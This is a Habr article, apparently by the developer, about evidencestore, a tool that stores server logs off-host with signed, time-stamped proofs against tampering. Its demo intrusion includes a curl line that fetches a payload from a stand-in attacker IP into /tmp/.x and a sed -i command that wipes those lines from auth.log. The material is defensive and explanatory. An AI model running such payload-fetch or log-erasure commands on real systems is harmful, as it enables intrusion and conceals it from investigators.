Daily MaverickThe African Century will be built through green industrialisation, not mined from the groundPunchUK steps up facial recognition, e-bikes patrol to tackle London knife crimeInquirerTop 5 most wanted murder suspect in Caraga arrested in Agusan del SurCNN TürkTarihi geçmiş kanser ilaçlarını yeniden piyasaya süren şebekeye operasyon: 22 gözaltıThe Jerusalem PostEl-Sayed faces pointed Israel questions as Michigan Senate race heats upInquirer EntertainmentHeart Evangelista, Tuesday Vargas, more pay tribute to Ate GayZDF heuteAktuelle Pressemitteilungen des ZDFХабрАрхитектура в эпоху вероятности: почему наши старые чертежи больше не работаютCollider‘The Terminal List’ Showrunner Confirms the Franchise’s Future on Prime Video and Potential Spin-Off PlansThe Straits TimesAskST: Can the police’s new 6000-0999 number for calling the public be spoofed?The RegisterFrom Expertise to Intelligence: NISCO Deploys World's First Swarm-Intelligence Steel Model at ScaleDeadlineFirst-Ever ‘Saturday Night Live’ International Spin-Off Lands In Korea
The Daily Newsstand · Free, Always
Monday, November 2, 2026

Взломщик стёр четыре строки. Хранилище их сохранило

Translate

07:28:20. Кто-то с адреса 203.0.113.7 пробует войти на web-1 под root. Пароль неверный.

07:28:21. Снова неверный.

07:28:22. Подошёл.

07:28:23. Root скачивает с 203.0.113.7 файл в /tmp/.x.

Ещё через несколько секунд в /var/log/auth.log остаются две строки утреннего деплоя: deploy зашёл по ключу и перезапустил приложение. Из этих четырёх нет ни одной:

sed -i '/203.0.113.7/d' /var/log/auth.log

grep 203.0.113.7 больше ничего не находит. Для сервера этих строк никогда не было.

Допустим, копия журнала у вас есть: в SIEM или на другой машине. Как вы докажете проверяющему, что эти четыре строки пришли с web-1 в 07:28 и с тех пор их никто не трогал, вы в том числе?

Вот что ответил на этот вопрос evidencestore, мой проект. Хранилище на другой машине получило каждую строку раньше, чем её стёрли, и отдало расследованию вместе с доказательством. Каждую запись проверила отдельная утилита, офлайн (длинные строки укорочены):

 seq  proof         on web-1 now   line
   1  VERIFIED      yes            Oct 31 07:28:19 web-1 sshd[1021]: Accepted publickey for deploy from 10.0.0.5 ...
   2  VERIFIED      yes            Oct 31 07:28:19 web-1 sudo:   deploy : TTY=pts/0 ; PWD=/srv/app ; ...
   3  VERIFIED      DELETED        Oct 31 07:28:20 web-1 sshd[1188]: Failed password for root from 203.0.113.7 port 40112 ssh2
   4  VERIFIED      DELETED        Oct 31 07:28:21 web-1 sshd[1188]: Failed password for root from 203.0.113.7 port 40112 ssh2
   5  VERIFIED      DELETED        Oct 31 07:28:22 web-1 sshd[1188]: Accepted password for root from 203.0.113.7 port 40112 ssh2
   6  VERIFIED      DELETED        Oct 31 07:28:23 web-1 sudo:     root : TTY=pts/1 ; PWD=/root ; USER=root ; COMMAND=/usr/bin/curl -s -o /tmp/.x http://203.0.113.7/x
   7  VERIFIED      yes (again)    Oct 31 07:28:19 web-1 sshd[1021]: Accepted publickey for deploy from 10.0.0.5 ...
   8  VERIFIED      yes (again)    Oct 31 07:28:19 web-1 sudo:   deploy : TTY=pts/0 ; PWD=/srv/app ; ...

web-1 здесь учебный, это демо из репозитория.

Все четыре на месте, байт в байт. К каждой приложено доказательство, которое проверяющий проверит у себя: хранилище получило строку между двумя метками времени, подписанными внешней службой, и получило раньше, чем файл переписали. Доступ к хранилищу для этого не нужен, верить его хозяину тоже.

Коротко. evidencestore работает свидетелем для журналов и живёт на другой машине. Сборщик рядом с журналом отправляет туда каждую строку, а хранилище потом доказывает любую из них проверяющему: офлайн, без доступа к хранилищу и без доверия к тому, кто его обслуживает. Посмотреть можно одной командой, scripts/demo-intruder.sh. Код на Go, лицензия Apache 2.0, написан совместно с ИИ-ассистентом Claude Code.

Записи 7 и 8 появились неспроста. sed -i не правит файл на месте: он пишет новый файл и переименовывает его поверх старого. Для сборщика это новый файл по тому же пути, и он честно прочитал его с начала. Зато порядок событий виден из самих доказательств: метка, которая накрывает удалённые строки, лежит в цепи раньше строк переписанного файла. Сначала строки взломщика попали в хранилище, потом файл подменили.

«Просто отправляйте журналы в SIEM»

Это первый совет, который слышишь, и он верный, пока вы доверяете тем, кто обслуживает SIEM. Взломщик с web-1 до копии не дотянется. Её администратор дотянется, как и ИИ-агент, которому дали его права, а постороннему проверить копию нечем. Чистка журналов после взлома настолько обычна, что у неё есть номер в MITRE ATT&CK, T1070.002, и администратору, который ошибся, тоже бывает что вычистить.

Можно сцепить записи хэшами. Под показами таких проектов на HN первым делом пишут одно и то же: правку одной записи цепочка поймает, но кто владеет хранилищем, тот пересчитает её целиком, и она снова сойдётся. journald с Forward Secure Sealing замечает правку запечатанной части журнала, но удалить файлы не мешает. immudb доказывает, что не менялась она сама, а свидетелем для чужих журналов не служит.

Поэтому весь вопрос в том, кто сверит цепь снаружи и с чем. Мне хотелось, чтобы:

  • строку, дошедшую до хранилища, нельзя было стереть или поменять незаметно;

  • проверить это мог тот, кто оператору не доверяет, у себя, офлайн, небольшой утилитой и парой открытых ключей;

  • время приходило снаружи, а часы хранилища доказательством не считались;

  • старые записи можно было стирать по сроку, не ломая доказательств для оставшихся;

  • строка, потерянная по дороге, оставляла видимый пропуск.

Сами детали давно известны: хэш-цепи и деревья Меркла, подписанные обещания из Certificate Transparency (RFC 6962), метки времени RFC 3161. Лучшим введением в эту семью идей до сих пор остаётся статья Расса Кокса Transparent Logs for Skeptical Clients. Здесь они собраны под одну задачу: свидетель для журналов чужих систем.

 web-1                                        машина хранилища
 ┌───────────────────────┐                    ┌──────────────────────────────────────┐
 │ /var/log/auth.log     │                    │ evidencestore serve                  │
 │          │            │                    │                                      │
 │          ▼            │  HTTPS, TLS 1.3,   │  1. источник = имя в сертификате     │
 │ escollect             │  клиентский        │  2. этот номер уже был?              │
 │  нумерует строки      │ ─────────────────▶ │  3. время приёма (окно по TSA)       │
 │  держит их в буфере   │  сертификат        │  4. шифрует ключом записи            │
 │  на диске, шлёт       │                    │  5. журнал улик, fsync               │
 │  пачками              │ ◀───────────────── │  6. лист в хэш-цепь                  │
 │  хранит обещания      │  подписанное       │  7. подписывает обещание, отвечает   │
 └───────────────────────┘  обещание          │                                      │
                                              │  в фоне: звено цепи раз в секунду,   │
                                              │  метки TSA над головой цепи,         │
                                              │  ключи месяцев                       │
                                              └───────────────────┬──────────────────┘
                                                                  │ пакет доказательств (JSON)
                                                                  ▼
                                              машина проверяющего: esverify, офлайн

Сборщик escollect работает рядом с журналом. Хранилище evidencestore стоит на своей машине, лучше под другими администраторами. Утилита проверяющего esverify работает где угодно, в том числе на macOS и Windows, и с хранилищем не связывается вовсе.

Дальше пять противников, по нарастающей. Для каждого: сначала как бы я жульничал на его месте, потом что этому мешает, потом где предел.

Первый противник: взломщик на сервере

Он может стереть строку, переписать файл, остановить сборщик. Успеть ему надо до того, как строка уйдёт.

Сборщик читает журнал раз в секунду, как tail -F, даёт каждой строке номер (у каждого источника свой счёт, без сброса) и кладёт её в свой буфер на диске раньше, чем что-нибудь отправит. Если сборщик убить посреди работы, он продолжит с буфера, и ни одна строка не получит второй номер и не пропадёт. Строки уходят пачками по HTTPS с TLS 1.3 и клиентским сертификатом, а имя источника хранилище берёт из сертификата. Написать от имени соседа не выйдет.

Больше всего кода в сборщике ушло на файлы, потому что файлы ведут себя хуже, чем кажется. logrotate переименовывает auth.log в auth.log.1, а приложение пишет в старый файл, пока не получит HUP. Где-то стоит copytruncate. Ядро отдаёт номер inode удалённого файла следующему новому. Поэтому сборщик ведёт реестр файлов по inode и времени рождения, как Filebeat, и дочитывает ушедший файл через открытый дескриптор, пока тот не помолчит 10 секунд.

Если прочитать уже нечего (файл обрезали на месте или ротированный файл сжали, пока сборщик стоял), сборщик нарочно пропускает номер. Хранилище видит дыру в нумерации и пишет в цепь событие пропуска. Тишины не бывает: есть строка или видимая дыра.

А если взломщик просто остановит сборщик? Когда отправлять нечего, сборщик раз в 30 секунд выходит на связь с последним выданным номером. Две минуты без связи, и хранилище пишет в цепь «сборщик пропал».

Есть ловушка и для самого администратора. Виртуальную машину сборщика подняли из снимка недельной давности: буфер вернулся в прошлое, хранилище нет, и новые строки получают номера, которые хранилище уже отдало другим. Если на знакомый номер просто отвечать «дубликат», новые строки молча пропадут. Поэтому сборщик при старте сверяет свой счёт с хранилищем и останавливается, если хранилище помнит номера, которых он не выдавал. А хранилище на каждом повторе вскрывает сохранённое тело и сравнивает его с присланным. То же тело означает честный повтор. Другое тело означает отказ всей пачке и событие конфликта в цепи.

Где предел. Строку, уничтоженную раньше, чем сборщик её прочитал, хранилище не видело, так что у взломщика есть окно около секунды. Остановку сборщика короче двух минут не видно, а root на машине источника подделает пульс сертификатом самого сборщика.

Второй противник: диск, который врёт

Этого противника злым не назовёшь. Диск говорит «записано», а после отказа питания записи нет. Или посреди файла переворачивается один бит.

Хранилище отвечает «принято» только после fsync журнала улик. Пока одна пачка ждёт fsync, следующая копится, так что надёжность не стоит задержки. После первой же неудачной записи или fsync журнал отказывает всем и до перезапуска не берёт меток времени: после неудачного fsync в Linux уже неизвестно, что лежит на диске. Перезапуск заново пишет на диск записи, которых ещё нет в цепи, и только потом кладёт их в цепь.

После падения хвост журнала бывает оборван, и его надо отрезать. Но один испорченный бит в середине не должен стирать подтверждённые записи, которые идут после него. Поэтому хвост считается оборванным, только если за плохим кадром нет ни одного целого кадра с верной контрольной суммой. Иначе это порча диска, и хранилище отказывается стартовать. Отрезанные байты откладываются в файл рядом с сегментом и никогда не удаляются. А если цепь знает запись, которой в журнале нет, старт тоже отказывает: подтверждённая запись не может пропасть тихо.

Умерший диск уносит всё, поэтому хранилище держит и копию наружу, в S3 или каталоге, и умеет подняться из неё. Копия уходит зашифрованной своим ключом: тот, кто её хранит, видит, как быстро растёт хранилище, но не чьи записи в нём лежат.

Третий противник: часы

Время приёма ставит хранилище по своим часам, а проверяющий сверяет его с метками внешней службы, о них чуть ниже. Если часы хоста врут, честные записи навсегда перестают проходить проверку. Если их перевели нарочно, записи получают правдоподобные, но ложные даты. А врут часы чаще, чем кажется: отвалился NTP, виртуальную машину поставили на паузу, кто-то сменил дату.

Поэтому время приёма привязано к последней метке времени. После каждой метки хранилище знает время службы, а сколько прошло с тех пор, меряет монотонными часами, которые не прыгают при смене даты. Они могут уходить, поэтому заложено 100 ppm в обе стороны, плюс задержка ответа службы, плюс секунда округления. Получается окно, в котором сейчас обязано лежать настоящее время:

T  = время в последнем токене TSA
e  = сколько прошло по монотонным часам с прихода токена
d  = сколько служба отвечала

lo = T + e - e*100ppm                    настоящее время не раньше этого
hi = T + 1s + (e + d) + (e + d)*100ppm   и не позже этого

время приёма = часы хоста, зажатые в [hi - 55s, lo]

Часы хоста убежали за окно? Хранилище поднимет тревогу, а времена всё равно останутся честными. Цена у этого понятная: окно шире 55 секунд набегает примерно за трое суток без свежей метки. Тогда хранилище перестаёт принимать записи, а сборщики держат строки у себя, пока служба меток не вернётся.

Четвёртый противник: владелец хранилища

Самый неудобный. У него все файлы хранилища и ключ подписи.

Начну с того, что даёт цепь. Каждая принятая запись становится листом. Раз в секунду хранилище строит над новыми листьями дерево Меркла и пишет звено: корень дерева, номер и хэш предыдущего звена. Голова, которую хранилище подписывает ключом Ed25519, — контрольная точка: число звеньев и корень ещё одного дерева Меркла, построенного над всеми звеньями, в формате Certificate Transparency и базы контрольных сумм Go (RFC 6962, C2SP). Поменяйте один байт старой записи, и изменится её отпечаток, лист, корень, хэш звена и каждый корень над ним. Для проверки одной записи вся цепь не нужна: хватит её пути по дереву (горстка хэшей), звеньев от неё до подписанной головы и нескольких хэшей большого дерева, которые заменяют все звенья до них.

В такой цепи легко оставить дыры, и две из них классические. Поля, склеенные через разделитель, неоднозначны: scope a|b с id c даёт тот же хэш, что scope a с id b|c, поэтому у каждого поля префикс длины. Хэш-цепь остаётся правильной, если отрезать ей конец, поэтому голова хранится отдельно от файла цепи. А отпечаток считается от жёсткой двоичной раскладки записи, потому что JSON одну и ту же запись умеет записать по-разному.

Моя любимая дыра из этой серии называется «невидимые саламандры». Тело каждой записи зашифровано AES-GCM своим ключом, и проверяющему для чтения отдают ключ одной записи. Но GCM не связывает шифротекст с ключом: можно подобрать шифротекст, который под двумя разными ключами расшифруется в два разных текста, и тег аутентификации сойдётся оба раза. Нечестное хранилище показало бы двум проверяющим два разных тела под одним отпечатком. Поэтому в конверт записи вшито обязательство на ключ, SHA-256 от идентификатора ключа месяца и ключа записи, и ключ, который с ним не сходится, тело не откроет.

От главного всё это не спасает. Владелец может выбросить последний день, пересчитать все хэши и подписать новую голову своим же ключом. Результат будет безупречно согласован: подпись доказывает только то, что голову подписало это хранилище.

Против владельца нужен свидетель снаружи. Первый такой свидетель называется служба меток времени (TSA, RFC 3161): ей отправляют хэш, а в ответ получают токен «этот хэш существовал в такое-то время», подписанный её сертификатом. У НУЦ РК такая служба есть по адресу tsp.pki.gov.kz и отвечает без учётной записи, у DigiCert есть публичная, а для демо без интернета в хранилище встроена ненастоящая. Код RFC 3161 написан на стандартной библиотеке Go, около 650 строк, с полной офлайн-проверкой подписи до корня. Один из тестов переворачивает по одному биту в каждом из 2275 байт настоящего токена НУЦ РК и ждёт провала все 2275 раз.

Хранилище просит метку над головой раз в 10 минут, если в цепь легло новое, и не реже раза в час в простое. Токен ложится в цепь своим звеном. Так у каждой записи появляются две границы: T1, последняя метка до неё, и T2, первая метка над головой, которая её уже включает. Переписанная цепь с подписанными службой хэшами не совпадёт, поэтому метки на ней будут только свежие.

Но свежие метки владелец взять может. Если переписать цепь в пределах часа, по одной T2 честный пакет от поддельного не отличить. Значит, нужен второй свидетель: тот, кто увидел голову раньше и держит её там, куда владелец не дотянется. Хранилище умеет отправлять свои подписанные головы, и больше ничего, в чужое хранилище: в бакет проверяющего, в другую организацию, в S3 с Object Lock в режиме compliance, откуда до конца срока не удалит даже владелец учётной записи. Голова — корень дерева над всеми звеньями до неё, так что голова у свидетеля закрепляет всю цепь до себя, а что более поздняя голова продолжает более раннюю, доказывают несколько хэшей. Проверяющий сам забирает у свидетеля головы, все версии, и сверяет с ними пакет: esverify -heads DIR.

В этой проверке есть дыра, и она пока открыта. esverify берёт первую по номеру голову не раньше звена записи и не знает, когда свидетель её получил. Тот, у кого есть и ключ подписи, и ключи свидетеля, может подписать голову позже и положить её под свободным номером. Хранилище отправляет головы по порядку номеров, так что такая голова пришла к свидетелю позже голов с большими номерами, а S3 помнит, когда пришла каждая версия. Пока esverify этих времён не читает, сверять их приходится руками.

Есть и ещё один свидетель, которого владелец уже впустил сам: сборщики. Каждый ответ хранилища сборщику несёт подписанную голову и те самые несколько хэшей — доказательство, что она продолжает голову, которую сборщик принял последней. Сборщик это проверяет и раз в десять минут откладывает голову к себе, со временем по своим часам. Голову, которая прежнюю не продолжает, он записывает рядом с ней как улику и пишет ошибку в журнал, а записи идут дальше; так же — если хранилище перестаёт показывать новые головы. Когда хранилищем и источниками владеют разные люди, перепись видна у самих источников, без третьей стороны, и дыры выше тут нет: положить голову в журнал сборщика хранилище не может. Довести это до ума удалось со второго захода разбора: первая версия считала головой свидетеля и ту голову, которую сборщик отверг, — ровно то, что нужно владельцу.

Пятый противник: владелец, который прячет одну строку

Переписывать всю цепь владельцу не обязательно. Достаточно не показать одну запись: пакет по одной записи доказывает её и молчит о тех, которых проверяющему не дали.

Первая защита лежит у сборщика. На каждую запись хранилище отвечает подписанным обещанием: «принял запись 5 от web-1 с таким-то отпечатком в такое-то время и включу её в цепь не позже такого-то срока». Это идея подписанной метки из Certificate Transparency. Сборщик проверяет подпись закреплённым ключом хранилища и заодно сверяет обещание со своими часами: если время приёма больше чем на минуту позже ответа или срок больше чем на минуту позже времени приёма, он пишет ошибку и откладывает обещание как улику. Сама проверка обещания часам хранилища не верит. esverify -promise смотрит только на метки: если перед записью в цепи лежит метка, взятая больше чем через минуту после её времени приёма, хранилище запись придержало.

Вторая защита отвечает на вопрос, который на самом деле задаёт расследование: всё, что пришло от web-1 с 07:00 до 08:00. Таких пакетов два, и оба ограничены метками времени: последней, взятой больше чем за секунду до начала окна, и первой, взятой больше чем через две минуты после конца.

Пакет за окно (proof -window) несёт все листья цепи между метками, а esverify пересчитывает из них корни Меркла, так что выброшенная, добавленная или переставленная запись ломает корень. В нём видны метаданные всех источников, поэтому он для расследования внутри организации.

Для проверяющего со стороны есть пакет по одному источнику (proof -source). Каждый лист несёт хэш предыдущего листа того же источника, так что у каждого источника внутри общей цепи своя цепочка. Перед каждым запросом метки хранилище пишет хвосты источников, хэш последнего листа каждого, и метка их заверяет. Пакет несёт хвосты на краях и все записи между ними, а esverify идёт по ссылкам от нижних хвостов к верхним, и выброшенная запись рвёт ссылку следующей. Чужие источники видны только хэшами имён. Вот такой пакет из демо, вся сессия web-1 одним файлом (начало отчёта):

VERIFIED

Source: web-1
Window (receive time): 2026-10-31 07:28:17 UTC – 2026-10-31 07:28:24 UTC (named in the bundle)
Every record web-1 put into the store's chain from the source tails laid right before the time-stamp of 2026-10-31 07:28:16 UTC to the first source tails laid after the time-stamp of 2026-10-31 07:30:39 UTC is in this bundle: records 1–10 (10, 8 received in the window)

Checks:
  ✔ the links are chained by hash with no gaps — 21 links
  ✔ the head is signed with the store key — head 26
  ✔ the lower tails are the only leaf of the link the lower time-stamp certifies (T1) — T1 = 2026-10-31 07:28:16 UTC, link 6
  ✔ the upper tails are the only leaf of a link certified by a time-stamp, and lie after the token of the time-stamp that closes the window (T2) — T2 = 2026-10-31 07:30:39 UTC, token in link 23; tails in link 25
  ✔ the time-stamps bracket the window — 2026-10-31 07:28:17 UTC – 2026-10-31 07:28:24 UTC
  ✔ the records are the whole chain of the source between the tails — 10 records
  ✔ every receive time lies between the time-stamps of the edges
  ✔ the records attached match their leaves, and their bodies open with their record keys — 10 records, 10 bodies opened

Записей десять, а не восемь: пока скрипт ждёт закрытия окна, web-1 продолжает писать журнал. А ждёт он две минуты не просто так. Метка заверяет цепь такой, какой она была в момент запроса, а запись может быть ещё в пути от времени приёма до своего листа. Ответ, который шёл дольше 30 секунд, хранилище не берёт, время приёма отстаёт от настоящего не больше чем на 55 секунд, а токен ложится в цепь только после записей, принятых до ответа. Поэтому всё, что пришло в окне, лежит в цепи до закрывающей метки.

Запись, которую владелец придержал дольше, из пакета за окно выпадет. Но тогда её обещание не пройдёт esverify -promise, ради этого сборщик обещания и хранит. Спрятать строку можно, только оставив свою подпись под нарушенным словом.

Как забыть и ничего не сломать

Хранить журналы вечно нельзя: есть сроки хранения, законы о персональных данных и размер дисков. А удалить запись из хэш-цепи значит сломать цепь. Выход известный, криптостирание: каждая запись зашифрована, а по сроку уничтожается ключ. Байты остаются на месте, цепь цела, тело не прочитать. NIST SP 800-88 признаёт это очисткой данных при одном условии: уничтожены все копии ключа.

Это условие и есть самое трудное. Ключи устроены слоями:

корень                в roots_dir (потом HSM или KMS); заворачивает только ключ файла
 └ ключ файла         32 байта, новый при каждой записи keyring.dat
    └ ключ месяца     один на источник за месяц (KEK)
       └ ключ записи  один на запись (DEK), лежит завёрнутым рядом с телом

Стереть «web-1, октябрь 2026» значит уничтожить один ключ месяца. Но keyring.dat уходит в резерв после каждого изменения, а резервные копии живут дольше, чем о них помнят. Поэтому уничтожение ключа ещё и поворачивает корень: новый keyring.dat, уже без уничтоженного ключа, запирается новым корнем, а старый корень уничтожается. Все старые копии keyring.dat в бэкапах, снимках дисков и старых блоках SSD разом становятся нечитаемыми.

Заявке на уничтожение нужны два подтверждающих и срок ожидания, по умолчанию семь дней, и отсчитывается он от метки времени: перевод часов хоста его не сокращает. Из второго демо, с одним подтверждающим:

error: 409 Conflict: keyring: approvals rejected: schedule-destroy needs 2 distinct approvers

После второго подтверждающего и ожидания пакет по той же записи по-прежнему проходит проверку, только без тела:

VERIFIED

Record: source abs-core, number 2, type "syslog"
...
What this bundle does not prove:
  — body not opened: the bundle carries no record key, or the month key was destroyed (retention)

Доказать по-прежнему можно, что запись 2 от abs-core была, пришла от этого источника в это время и не менялась. Прочитать её уже нельзя.

Две честные оговорки. Двух подтверждающих хранилище только учитывает: записывает в цепь два разных имени, но кто за ними стоит, не знает, и администратор его машины впишет оба сам. Настоящий двойной контроль даёт HSM с кворумом. И ключ записи, однажды отданный проверяющему, остаётся у него: старый пакет с ключом откроет тело и после уничтожения ключа месяца.

Журналы ИИ-агентов

Задумывалось хранилище для действий ИИ-агентов, и пример тут напрашивается сам. В июле 2025 года ИИ-агент Replit удалил рабочую базу данных во время заморозки кода, а потом сказал пользователю, что откат невозможен. Откат сработал. Собственный журнал агента свидетель плохой. Свидетель получше стоит перед агентом: гейтвей, через который идут все его запросы.

Pipelock ведёт бортовой журнал, где каждая запись JSONL сцеплена хэшем с предыдущей, а контрольные точки подписаны ключом гейтвея. Для такого журнала в evidencestore свой тип источника. При приёме хранилище пересчитывает хэш каждой записи так же, как Pipelock (сверено байт в байт с выводом v3.6.0), проверяет цепочку каждого писателя и подписи контрольных точек закреплённым ключом. Ничего не отвергается: запись хранится как пришла, а вердикт ложится в цепь рядом с ней.

Проверен сценарий, который документация Pipelock называет открытым пределом: удаление целого запуска. Гейтвей запускали дважды, потом шарды первого запуска удалили вместе с файлом связи. Проверяющий Pipelock на оставшемся написал RESTART CONTINUITY OK: изнутри удаление не видно. Из хранилища оба запуска вернулись байт в байт, и тот же проверяющий сказал про каждый CHAIN VALID. Незаметно пропасть может только то, что записано за последнюю секунду перед удалением. Файлы связи между запусками сборщик пока не забирает, поэтому поднятые запуски выглядят несвязанными.

Специфичный для Pipelock код занимает 665 строк из примерно 18,5 тысячи. Остальное одинаково для любого журнала, поэтому первое демо про auth.log.

Что видит проверяющий

Пакет доказательств по одной записи оператор выгружает так:

evidencestore proof -config /etc/evidencestore/evidencestore.json -source web-1 -seq 5 -dek -out 5.json

В нём лежит запечатанная запись ровно в том виде, в каком она лежит на диске, её лист и путь Меркла, все метки от головы под T1 до звена записи и остальные листья там голыми хэшами (чтобы из пакета нельзя было незаметно выбросить метку, а чужих записей видно не было), звенья до подписанной головы под T2 с несколькими хэшами дерева перед ними, оба токена и, с -dek, ключ одной этой записи. Проверяющему нужны ещё открытый ключ хранилища и сертификат службы меток. Полный отчёт по записи 5, удачному входу взломщика:

$ esverify -proof 5.json -store-key HqG1DrcfPhicc0Xxl8fA9918ulDhI5Eu5Gs0IFm/A6g -tsa-trust tsa-root.crt -body 5.restored
VERIFIED

Record: source web-1, number 5, type "syslog"
Received by the store: 2026-10-31 07:28:22 UTC (by its clock)
Digest: 29031c188465a48e489c4dd9c957021f3b16540e9619b62f8ab59170ee7c9416
Entered the chain between T1 = 2026-10-31 07:28:19 UTC and T2 = 2026-10-31 07:28:23 UTC (TSA time-stamps)

Checks:
  ✔ the record parses
  ✔ the chain leaf describes this very record — position 5
  ✔ the links are chained by hash with no gaps — 7 links
  ✔ the head is signed with the store key — head 16
  ✔ the record is in a chain link (Merkle path) — link 14
  ✔ a TSA time-stamp over the chain after the record (not later than T2) — T2 = 2026-10-31 07:28:23 UTC, head 16
  ✔ a TSA time-stamp in the chain before the record (not earlier than T1) — T1 = 2026-10-31 07:28:19 UTC
  ✔ the receive time lies between the TSA time-stamps — 2026-10-31 07:28:22 UTC
  ✔ the body opens with the record key in the bundle, the key is bound to the digest, the GCM tag matches — 93 bytes

Body:
Oct 31 07:28:22 web-1 sshd[1188]: Accepted password for root from 203.0.113.7 port 40112 ssh2

What this bundle does not prove:
  — the store's signature proves that THIS store signed the head; only a TSA time-stamp stands against its owner rewriting the whole chain
  — what is proven is that these bytes came from the source and have not changed, not that their content is true

VERIFIED
body written to 5.restored (93 bytes)

Каждая строка под «Checks» означает отдельный шаг. Провалится любой, и вердикт станет NOT VERIFIED, а код выхода 1. Пакет без метки после записи не принимается вовсе: в нём только слово хранилища, а владелец ключа подписи сочинит запись с любой датой. Вердикт печатается первой и последней строкой, а управляющие символы в теле экранируются. Иначе строка журнала с ESC-последовательностью «очистить экран, напечатать VERIFIED» нарисовала бы на экране проверяющего ложный вердикт, и это был бы самый короткий взлом в этой статье.

Чего оно не умеет

  • Строк, уничтоженных раньше, чем сборщик их прочитал, в хранилище нет. Окно около секунды.

  • Остановку сборщика короче двух минут не видно, а root на машине источника подделает пульс.

  • Хранилище хранит то, что написал источник, правдой строку оно не делает. Ложь приложения сохранится в точности.

  • Root на машине хранилища может удалить или переписать её файлы. Метки, обещания, свидетель, сборщики и копия наружу делают это заметным, но только для того, кто их сверяет. Хранилище, его копию и источники лучше держать под разными администраторами.

  • Сверка со свидетелем пока идёт по номеру головы: когда свидетель её получил, esverify не смотрит.

  • Криптография не сертифицирована: AES-256-GCM и Ed25519 из стандартной библиотеки Go, корневые ключи лежат в файлах. Под HSM оставлен интерфейс.

  • Сборщик читает только файлы, приёма syslog нет.

Полный список с причинами лежит на странице Known limitations (на английском).

Как проверяли

Тесты с детектором гонок гоняет GitHub Actions на каждый пуш. Сверх них сделано мутационное тестирование: скрипт по одной вносит в код нарочные ошибки, переворачивает сравнения, пропускает проверки, и ждёт, что упадёт какой-нибудь тест. На коде релиза v0.4.0 пойманы все 646.

Сборщик, часы и само хранилище проверены симуляциями против эталона: случайные сценарии в виртуальном времени с падениями посреди записи, ротациями, потерянными ответами, сбитыми часами и пропадающей службой меток. Хранилище прошло 2000 сценариев по 300 шагов без единого провала и пережило по дороге 37 294 падения, 6735 подъёмов из копии и 1396 дисков, вравших про fsync. Отдельная симуляция играет за нечестного владельца: придерживает записи и токены, подсовывает копии старых токенов, ставит звеньям время задним числом. В 2000 её сценариев каждый из 632 пакетов, из которых выпала запись, выдало обещание этой записи.

И ночь на настоящих журналах. Девять часов хранилище принимало syslog, auth.log и kern.log моей машины и бортовой журнал живого Pipelock. В полночь logrotate ротировал журналы, хранилище перезапускали пять раз, один сборщик убили через kill -9. Все 104 738 записей совпали с источниками, по порядку, без повторов и потерь.

Подробности лежат на странице How it was tested, а найденные ошибки и их исправления в журнале разбора.

Попробовать

Демо со взломщиком запускается одной командой. Нужны Go 1.25.4 или новее и python3, на машине ничего не трогается: «web-1» здесь просто каталог во временной папке.

git clone https://github.com/Nikolay1994Kaz/evidencestore
cd evidencestore
scripts/demo-intruder.sh                     # история из начала статьи
scripts/demo.sh                              # подделка в один байт и уничтожение ключа
DEMO_TSA=digicert scripts/demo-intruder.sh   # настоящие метки DigiCert (нужен интернет)

На своём журнале и без клона: скачайте бинарники со страницы Releases, там же SHA256SUMS и подтверждение происхождения сборки. Команда evidencestore dev-setup -dir ~/es-try подготовит всё в одном каталоге, а дальше несколько команд из раздела Run it yourself.

В продакшене хранилище пока не работает: пилота не было, криптография не сертифицирована. Если ваши журналы однажды могут понадобиться перед аудитором или в суде, или вы видите дыру, которую я пропустил, откройте issue. Второе особенно ценно.

View the original on Хабр →

KioskNews shows a cleaned-up reading view extracted from the publisher’s page — the original always lives on their site, not ours.